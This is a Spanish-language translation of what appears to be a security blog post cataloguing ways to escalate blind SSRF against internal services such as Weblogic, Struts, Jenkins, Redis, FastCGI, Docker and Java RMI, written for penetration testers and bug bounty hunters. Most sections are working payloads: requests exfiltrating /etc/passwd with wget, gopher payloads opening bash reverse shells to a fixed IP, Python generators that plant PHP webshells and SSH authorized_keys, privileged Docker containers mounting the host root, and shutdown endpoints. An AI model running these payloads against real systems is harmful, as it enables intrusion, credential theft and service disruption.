
Una lista exhaustiva de todas las formas posibles de encadenar tu vulnerabilidad de Blind SSRF
Server Side Request Forgery ocurre cuando puedes obligar a un servidor a realizar solicitudes arbitrarias en tu nombre. Como las solicitudes las realiza el servidor, es posible acceder a recursos internos debido a la posición del servidor en la red. En entornos de nube, SSRF presenta un riesgo más significativo debido a la presencia de endpoints de metadatos que pueden contener credenciales sensibles o secretos.
Al explotar la falsificación de solicitudes del lado del servidor, a menudo podemos encontrarnos en una posición en la que la respuesta no puede leerse. En la industria, este comportamiento se conoce a menudo como "Blind SSRF". En tales situaciones, ¿cómo demostramos el impacto? Esta fue una interesante discusión que Justin Gardner inició en Twitter:
He estado encontrando una gran cantidad de Blind SSRF recientemente. ¿Qué tipo de RCE de un solo disparo han usado como pivotes para estos casos en el pasado? Tengo acceso a algo de Kafka y un montón de otras cosas. @nnwakelam @thedawgyg
— Justin Gardner (@Rhynorater) 13 de enero de 2021
Si puedes alcanzar recursos internos, hay una serie de cadenas de explotación potenciales que se pueden ejecutar para demostrar el impacto. Esta entrada de blog intenta entrar en detalle sobre cada cadena de explotación conocida al aprovechar blind SSRF, y se actualizará a medida que se descubran y compartan más técnicas.
Si se nos ha escapado alguna técnica, envíanos un tweet o un mensaje directo (DM): @assetnote y la añadiremos a este blog.
Tiendo a llamarlos canarios SSRF, cuando se encadena un blind SSRF con otro SSRF interno que realiza una llamada adicional externamente, o mediante un redireccionamiento abierto específico de la aplicación o un XXE ciego. Confluence, Artifactory, Jenkins y JAMF tienen algunos que funcionan bien.
— Frans Rosén (@fransrosen) 13 de enero de 2021
Para validar que puedes interactuar con servicios o aplicaciones internos, puedes utilizar "canarios SSRF".
Esto ocurre cuando podemos solicitar una URL interna que realiza otro SSRF y hace una llamada a tu host canario. Si recibes una solicitud en tu host canario, significa que has alcanzado con éxito un servicio interno que también es capaz de realizar solicitudes salientes.
Esta es una forma eficaz de verificar que una vulnerabilidad SSRF tiene acceso a redes o aplicaciones internas, y también de confirmar la presencia de cierto software existente en la red interna. También es posible pivotar potencialmente hacia partes más sensibles de una red interna usando un canario SSRF, dependiendo de dónde se encuentre.
Con el objetivo de encontrar tantos hosts internos como sea posible, se pueden utilizar fuentes de datos DNS para encontrar todos los registros que apunten a hosts internos.
En entornos de nube, a menudo vemos ELB que apuntan a hosts dentro de una VPC interna. Dependiendo de en qué VPC se encuentre el activo que estás atacando, puede ser posible acceder a otros hosts dentro de la misma VPC.
Por ejemplo, considera que el siguiente host ha sido descubierto a partir de fuentes de datos DNS:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
Puedes asumir que `es` significa Elasticsearch y luego realizar más ataques contra este host. También puedes lanzar todos estos payloads de SSRF ciego contra todos los hosts "internos" que hayas identificado mediante este método. Esto suele ser efectivo.
Para encontrar más hosts internos, recomiendo tomar todos tus datos DNS y luego usar algo como [AltDNS](https://github.com/infosec-au/altdns) para generar permutaciones y resolverlas con un [bruteforcer de DNS rápido](https://github.com/blechschmidt/massdns).
Una vez que esto esté completo, identifica todos los hosts internos recién descubiertos y úsalos como parte de tu cadena de SSRF ciego.
## Fugas de canal lateral
Al explotar vulnerabilidades de SSRF ciego, es posible que puedas filtrar algo de información sobre la respuesta que se devuelve. Por ejemplo, supongamos que tienes SSRF ciego a través de un XXE; los mensajes de error pueden indicar si:
- Se devolvió una respuesta
`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`
vs.
- El host y el puerto son inalcanzables
`Error parsing request: System.Net.WebException: Unable to connect to the remote server`
De manera similar, fuera de los XXEs, una aplicación web también podría tener una fuga de canal lateral que se puede determinar inspeccionando las diferencias en:
- **Código de estado de la respuesta**:
Activo interno en línea:puerto responde con `200 OK` vs activo interno fuera de línea:puerto `500 Internal Server Error`
- **Contenido de la respuesta**:
El tamaño de la respuesta en bytes es menor o mayor dependiendo de si la URL que intentas solicitar es alcanzable o no.
- **Tiempo de respuesta**:
Los tiempos de respuesta son más lentos o más rápidos dependiendo de si la URL que intentas solicitar es alcanzable o no.
---------------
# Técnicas
**Posible vía HTTP(s)**
- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [Otros productos de Atlassian](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)
**Posible vía Gopher**
- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)
**Herramientas**
- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)
----------------------------------
**Posible vía HTTP(s)**
<div id="elasticsearch"></div>
## Elasticsearch
**Puerto de escucha habitual: 9200**
Cuando Elasticsearch se despliega internamente, normalmente no requiere autenticación.
Si tienes un SSRF parcialmente ciego en el que puedes determinar el código de estado, comprueba si los siguientes endpoints devuelven un 200:```http
/_cluster/health
/_cat/indices
/_cat/health
Si tienes un SSRF ciego donde puedes enviar solicitudes POST, puedes apagar la instancia de Elasticsearch enviando una solicitud POST a la siguiente ruta:
Nota: la API _shutdown se ha eliminado de Elasticsearch a partir de la versión 2.x. Esto solo funciona en Elasticsearch 1.6 o inferior:```http
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
<div id="weblogic"></div>
## Weblogic
**Puertos comúnmente vinculados: 80, 443 (SSL), 7001, 8888**
**Canario SSRF: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Esto también funciona vía GET:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Este endpoint también es vulnerable a la inyección CRLF:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
Dará como resultado la siguiente solicitud:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive
sdf**SSRF Canary: CVE-2020-14883**
Tomado de [aquí](https://forum.90sec.com/t/topic/1412).
Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
<div id="consul"></div>
## Hashicorp Consul
**Puertos de escucha habituales: 8500, 8501 (SSL)**
El writeup se puede encontrar [aquí](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
<div id="shellshock"></div>
## Shellshock
**Puertos de escucha habituales: 80, 443 (SSL), 8080**
Para probar Shellshock de manera efectiva, es posible que necesites añadir una cabecera que contenga el payload. Merece la pena probar las siguientes rutas CGI:
Breve lista de rutas CGI para probar:
[Gist con las rutas](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
**SSRF Canary: Shellshock a través del User Agent**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
Puertos comúnmente enlazados: 80, 8080, 8888, 8082
Consulte la referencia de la API de Apache Druid aquí.
Si puede ver el código de estado, verifique las siguientes rutas para ver si devuelven un código de estado 200:```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus
Tareas de apagado, requiere que adivines los IDs de tarea o el nombre de la fuente de datos:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
Apagar supervisores en los Overlords de Apache Druid:```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown
<div id="solr"></div>
## Apache Solr
**Puerto comúnmente enlazado: 8983**
**Canario SSRF: Parámetro Shards**
<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">Para añadir a lo que dice shubham: escanear solr es relativamente fácil. Hay un parámetro shards= que te permite rebotar SSRF a SSRF para verificar que estás golpeando una instancia de solr a ciegas.</p>— Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">13 de enero de 2021</a></blockquote>
Tomado de [aquí](https://github.com/veracode-research/solr-injection).```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
SSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""}
**RCE a través de dataImportHandler**
[Investigación sobre RCE a través de dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
<div id="peoplesoft"></div>
## PeopleSoft
**Puertos comúnmente asociados: 80,443 (SSL)**
Tomado de esta investigación [aquí](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
**Canario SSRF: XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
SSRF Canary: XXE #2```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ...
<div id="struts"></div>
## Apache Struts
**Puertos comúnmente vinculados: 80,443 (SSL),8080,8443 (SSL)**
Tomado de [aquí](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**SSRF Canary: Struts2-016**:
Añade esto al final de cada endpoint/URL interna que conozcas:```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
Puertos comúnmente vinculados: 80,443 (SSL),8080,8443 (SSL)
Tomado de aquí.
SSRF Canary: Desplegar WAR desde URL```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
<div id="confluence"></div>
## Confluence
**Puertos comúnmente vinculados: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: Sharelinks (versiones de Confluence lanzadas desde noviembre de 2016 y anteriores)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Ticket de seguridad de Atlassian OAUTH-344```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
<div id="jira"></div>
## Jira
**Puertos de escucha habituales: 80,443 (SSL),8080,8443 (SSL)**
**Canario SSRF: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
[Ticket de seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Ticket de seguridad de Atlassian JRASERVER-69793```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]
<div id="atlassian-products"></div>
## Otros productos de Atlassian
**Puertos comúnmente enlazados: 80,443 (SSL),8080,8443 (SSL)**
**SSRF Canary: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
[Ticket de seguridad de Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Puerto comúnmente enlazado: 4242
Ejecución remota de código en OpenTSDB
Canario SSRF: curl vía RCE```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
[Ejecución remota de código en OpenTSDB 2.4.0](https://github.com/OpenTSDB/opentsdb/issues/2051)
**SSRF Canary: curl mediante RCE - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
Puertos comúnmente vinculados: 80,443 (SSL),8080,8888
Excelente análisis aquí.
Canario SSRF: CVE-2018-1000600```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
**RCE**
Sigue las instrucciones aquí para lograr RCE vía GET: [Hacking Jenkins Parte 2 - Abusando de la metaprogramación para RCE no autenticado!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
RCE vía Groovy``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
<div id="hystrix"></div>
## Hystrix Dashboard
**Puertos de enlace habituales: 80,443 (SSL),8080**
Spring Cloud Netflix, versiones 2.2.x anteriores a 2.2.4, versiones 2.1.x anteriores a 2.1.6.
**SSRF Canary: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/
Puertos de escucha habituales: 80,443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary: CVE-2019-6715
Esto debe ser una petición PUT:```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
**SSRF Canary**
El aviso de esta vulnerabilidad se publicó aquí: [Vulnerabilidad SSRF en W3 Total Cache](https://klikki.fi/adv/w3_total_cache.html)
Este código PHP generará un payload para tu host de SSRF Canary (reemplaza `url` con tu host canary):```php
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
Puertos comúnmente vinculados: 2375, 2376 (SSL)
Si tienes un SSRF parcialmente ciego, puedes usar las siguientes rutas para verificar la presencia de la API de Docker:```bash /containers/json /secrets /services
**RCE mediante la ejecución de una imagen docker arbitraria**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
Reemplaza alpine con una imagen arbitraria que quieras que ejecute el contenedor docker.
Puertos comúnmente enlazados: 9121
Esta vulnerabilidad afecta a las instancias de Gitlab anteriores a la versión 13.1.1. Según la documentación de Gitlab Prometheus and its exporters are on by default, starting with GitLab 9.0.
Estos exportadores proporcionan un excelente método para que un atacante realice un movimiento lateral y ataque otros servicios utilizando CVE-2020-13379. Uno de los exportadores que se explota fácilmente es el Exportador Redis.
El siguiente endpoint permitirá a un atacante volcar todas las claves del servidor redis proporcionado a través del parámetro target:```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
**Posible a través de Gopher**
<div id="redis"></div>
## Redis
**Puerto comúnmente enlazado: 6379**
Lectura recomendada:
- [Intentando hackear Redis a través de solicitudes HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [Explotaciones SSRF contra Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**RCE mediante Cron** - [Superficies de ataque de Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
Gopher:```bash gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
**RCE mediante subida de shell (PHP)** - [Resumen de Getshell en Redis](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE mediante authorized_keys - Resumen de Getshell en Redis```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd
if name=="main": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
**RCE en GitLab mediante protocolo Git**
Excelente writeup de Liveoverflow [aquí](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
Aunque esto requería acceso autenticado a GitLab para explotarse, incluyo el payload aquí ya que el protocolo `git` puede funcionar en el objetivo que estés atacando. Este payload es solo de referencia.```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Puerto de escucha habitual: 11211
<div id="tomcat"></div>
## Apache Tomcat
**Puertos de escucha habituales: 80,443 (SSL),8080,8443 (SSL)**
Efectivo solo contra Tomcat 6:
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
Write-up de CTF que utiliza esta técnica:
[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
<div id="fastcgi"></div>
## FastCGI
**Puertos de escucha habituales: 80,443 (SSL)**
Esto fue tomado de [aquí](https://blog.chaitin.cn/gopher-attack-surfaces/).```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
Puertos de enlace habituales: 1090,1098,1099,1199,4443-4446,8999-9010,9999
Las vulnerabilidades ciegas de SSRF que permiten bytes arbitrarios (basadas en gopher) pueden utilizarse para realizar ataques de deserialización o de codebase en los componentes predeterminados de Java RMI (RMI Registry, Distributed Garbage Collector, Activation System). Un análisis detallado se puede encontrar aquí. El siguiente listado muestra un ejemplo de la generación del payload:```console $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
**Herramientas**
<div id="gopherus"></div>
## Gopherus
- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Entrada de blog sobre Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
Esta herramienta genera payloads de Gopher para:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
<div id="remote-method-guesser"></div>
## remote-method-guesser
- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [Entrada de blog sobre el uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
*remote-method-guesser* es un escáner de vulnerabilidades de *Java RMI* que admite operaciones de ataque para las vulnerabilidades de *Java RMI*
más comunes. La mayoría de las operaciones disponibles admiten la opción ``--ssrf`` para generar un payload de *SSRF* para la
operación solicitada. Junto con la opción ``--gopher``, se pueden generar directamente payloads de *gopher* listos para usar.
<div id="ssrfproxy"></div>
## SSRF Proxy
- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
SSRF Proxy es un servidor proxy HTTP multihilo diseñado para tunelizar el tráfico HTTP del cliente a través de servidores HTTP vulnerables a Server-Side Request Forgery (SSRF).
---
Créditos:
Gracias a las siguientes personas que han contribuido a esta publicación:
- [@Rhynorater - Numerosas contribuciones a esta entrada de blog](https://twitter.com/Rhynorater)
- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
- [@fransrosen - Concepto de canarios SSRF](https://twitter.com/fransrosen)
- [@theabrahack - RCE vía Jenkins Groovy](https://twitter.com/@theabrahack)
- [@qtc_de - RCE vía Java RMI](https://twitter.com/qtc_de)